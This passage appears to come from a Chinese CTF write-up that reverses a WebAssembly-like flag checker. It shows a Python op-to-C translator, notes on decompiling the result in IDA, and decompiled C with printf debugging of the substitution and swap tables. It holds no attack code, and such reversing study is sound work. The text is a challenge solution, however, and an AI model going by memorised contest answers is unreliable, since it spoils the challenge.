t1={spop()}; {spush()} = (t1+t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.sub'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1-t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.mul'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1*t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.rem_s'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1%t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.and'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1&t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.or'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1|t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'global.set'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>][<span class="cm-builtin">len</span>(<span class="cm-string">'$global'</span>):])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'global[{idx}] = {spop()};'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.ge_s'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1>=t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.eq'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1==t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.ne'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1!=t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.lt_s'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1<t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.shl'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; {spush()} = (t1<<t2);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.eqz'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't1={spop()}; {spush()} = (t1==0);'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'if'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't1={spop()}; if(t1) {"{"}'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'call'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'// call "{ops[1]}";'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'end'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-builtin">len</span>(<span class="cm-variable">ops</span>)==<span class="cm-number">2</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>][<span class="cm-builtin">len</span>(<span class="cm-string">'$label'</span>):])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">idx</span> <span class="cm-keyword">not</span> <span class="cm-keyword">in</span> <span class="cm-variable">label_def</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'label{idx}: ; {"}"}'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">'}'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">'}'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'local.get'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>][<span class="cm-builtin">len</span>(<span class="cm-string">'$var'</span>):])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'{spush()} = local[{idx}];'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'loop'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>][<span class="cm-builtin">len</span>(<span class="cm-string">'$label'</span>):])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">label_def</span>.<span class="cm-property">add</span>(<span class="cm-variable">idx</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'label{idx}: {"{"}'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'block'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>][<span class="cm-builtin">len</span>(<span class="cm-string">'$label'</span>):])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'{"{"}'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.store'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't2={spop()}; t1={spop()}; memory[t1]=t2;'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'i32.load'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't1={spop()}; {spush()} = memory[t1];'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'br'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">idx</span> = <span class="cm-builtin">int</span>(<span class="cm-variable">ops</span>[<span class="cm-number">1</span>][<span class="cm-builtin">len</span>(<span class="cm-string">'$label'</span>):])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'goto label{idx};'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'return'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f't1={spop()}; return t1;'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">op</span>==<span class="cm-string">'else'</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">out</span>.<span class="cm-property">append</span>(<span class="cm-string">f'{"}"} else {"{"}'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">raise</span> <span class="cm-variable">ValueError</span>(<span class="cm-variable">op</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-builtin">print</span>(<span class="cm-string">'\n'</span>.<span class="cm-property">join</span>(<span class="cm-variable">out</span>))</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 2173px;"></div><div class="CodeMirror-gutters" style="display: none; height: 2173px;"></div></div></div></pre><p><span>运行一下得到接近一千行的 C，嗯……意料之中。</span></p><p><span>但是，如果我们用 GCC 编译一下，稍微开点优化，然后拖到 IDA 里面激爽 F5，神奇的事情就发生了：它变成不到一百行的 C 程序了，而且循环结构也比较清晰。神奇吧？</span></p><p><img src="assets/image-20210520165522626.png" referrerpolicy="no-referrer" alt="image-20210520165522626"></p><p><span>神奇就对了！拿到 C 程序之后，调试就十分愉快，下断点加 printf 都可以。</span></p><p><span>总之这个程序似乎先把每个字符都替换了一下，然后交换了一些字符的顺序。字符替换的表在内存的 1952 位置，交换顺序的表在内存的 2336 位置。替换完的结果在 1152，交换完顺序的结果在 1552。最后程序把 1552 的字符串和 5400 处的答案比较。</span></p><p><span>增加了一些 printf 调试语句的程序如下：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="cpp" style="break-inside: unset;"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="cpp"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta">#include <cstdio></span></span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta">#include <cstdlib></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta">#include <cstring></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-meta">#include <stack></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">using</span> <span class="cm-keyword">namespace</span> <span class="cm-def">std</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">const</span> <span class="cm-variable-3">int</span> <span class="cm-variable">MEM_TRANS_TABLE</span> <span class="cm-operator">=</span> <span class="cm-number">1952</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">const</span> <span class="cm-variable-3">int</span> <span class="cm-variable">MEM_3776</span> <span class="cm-operator">=</span> <span class="cm-number">3776</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">const</span> <span class="cm-variable-3">int</span> <span class="cm-variable">MEM_SWAP_TABLE</span> <span class="cm-operator">=</span> <span class="cm-number">2336</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">const</span> <span class="cm-variable-3">int</span> <span class="cm-variable">MEM_TRANS_RES</span> <span class="cm-operator">=</span> <span class="cm-number">1152</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">const</span> <span class="cm-variable-3">int</span> <span class="cm-variable">MEM_SWAP_RES</span> <span class="cm-operator">=</span> <span class="cm-number">1552</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable-3">int</span> <span class="cm-variable">global</span>[<span class="cm-number">32</span>], <span class="cm-variable">memory</span>[<span class="cm-number">16384</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable-3">int</span> <span class="cm-def">foo</span>() {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v0</span>; <span class="cm-comment">// er10</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable-3">*</span><span class="cm-variable">v1</span>; <span class="cm-comment">// rdx</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v2</span>; <span class="cm-comment">// eax</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v3</span>; <span class="cm-comment">// er8</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v4</span>; <span class="cm-comment">// ecx</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">__int64</span> <span class="cm-variable">v5</span>; <span class="cm-comment">// rax</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v6</span>; <span class="cm-comment">// er11</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">__int64</span> <span class="cm-variable">CONST_4982</span>; <span class="cm-comment">// r11</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v8</span>; <span class="cm-comment">// esi</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">unsigned</span> <span class="cm-variable-3">int</span> <span class="cm-variable">v9</span>; <span class="cm-comment">// edx</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v10</span>; <span class="cm-comment">// er9</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">idx</span>; <span class="cm-comment">// eax</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">signed</span> <span class="cm-variable-3">int</span> <span class="cm-variable">v13</span>; <span class="cm-comment">// er8</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v14</span>; <span class="cm-comment">// eax</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v15</span>; <span class="cm-comment">// er9</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">__int64</span> <span class="cm-variable">v16</span>; <span class="cm-comment">// rax</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v17</span>; <span class="cm-comment">// ebx</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v18</span>; <span class="cm-comment">// ecx</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v19</span>; <span class="cm-comment">// eax</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v20</span>; <span class="cm-comment">// er9</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable-3">int</span> <span class="cm-variable">v21</span>; <span class="cm-comment">// edx</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v0</span> <span class="cm-operator">=</span> <span class="cm-variable">global</span>[<span class="cm-number">16</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v1</span> <span class="cm-operator">=</span> <span class="cm-operator">&</span><span class="cm-variable">memory</span>[<span class="cm-variable">MEM_TRANS_TABLE</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v2</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">do</span> {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-operator">*</span><span class="cm-variable">v1</span> <span class="cm-operator">=</span> <span class="cm-variable">v2</span><span class="cm-operator">++</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v1</span> <span class="cm-operator">+=</span> <span class="cm-number">4</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> } <span class="cm-keyword">while</span> (<span class="cm-variable">v2</span> <span class="cm-operator">!=</span> <span class="cm-number">96</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v3</span> <span class="cm-operator">=</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v4</span> <span class="cm-operator">=</span> <span class="cm-number">114514</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">do</span> {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v4</span> <span class="cm-operator">=</span> (<span class="cm-number">1919</span> <span class="cm-operator">*</span> <span class="cm-variable">v4</span> <span class="cm-operator">+</span> <span class="cm-number">7</span>) <span class="cm-operator">%</span> <span class="cm-number">334363</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v5</span> <span class="cm-operator">=</span> <span class="cm-number">4</span> <span class="cm-operator">*</span> (<span class="cm-variable">v4</span> <span class="cm-operator">%</span> <span class="cm-variable">v3</span>) <span class="cm-operator">+</span> <span class="cm-variable">MEM_TRANS_TABLE</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v6</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-variable">v5</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">v5</span>] <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">v3</span> <span class="cm-operator">+</span> <span class="cm-variable">MEM_TRANS_TABLE</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-number">4</span> <span class="cm-operator">*</span> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">+</span> <span class="cm-variable">MEM_TRANS_TABLE</span>] <span class="cm-operator">=</span> <span class="cm-variable">v6</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v3</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">+</span> <span class="cm-number">1</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-variable">v3</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> } <span class="cm-keyword">while</span> (<span class="cm-variable">v3</span> <span class="cm-operator"><=</span> <span class="cm-number">95</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"trans_table = [\n"</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span>(<span class="cm-variable-3">int</span> <span class="cm-variable">i</span><span class="cm-operator">=</span><span class="cm-number">0</span>; <span class="cm-variable">i</span><span class="cm-operator"><</span><span class="cm-number">96</span>; <span class="cm-variable">i</span><span class="cm-operator">++</span>) <span class="cm-comment">// trans table</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"%d, "</span>, <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_TRANS_TABLE</span> <span class="cm-operator">+</span> <span class="cm-variable">i</span> <span class="cm-operator">*</span> <span class="cm-number">4</span>]);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">printf</span>(<span class="cm-string">"]\n"</span>);</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">memory</span>[<span class="cm-variable">MEM_3776</span>] <span class="cm-operator">=</span> <span class="cm-number">0</span>;</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">CONST_4982</span> <span class="cm-operator">=</span> <span class="cm-variable">global</span>[<span class="cm-number">18</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> (<span class="cm-variable">memory</span>[<span class="cm-variable">global</span>[<span class="cm-number">18</span>]] <span class="cm-operator">></span> <span class="cm-number">0</span>) {</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v8</span> <span class="cm-operator">=</span> <span class="cm-variable">global</span>[<span class="cm-number">21</span>];</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">v9</span> <span class="cm-operator">=</span> <span class="cm-variable">memory</span>[<span class="cm-variable">global</span>[<span class="cm-number">21</span>]] <span class="cm-operator">-</span> 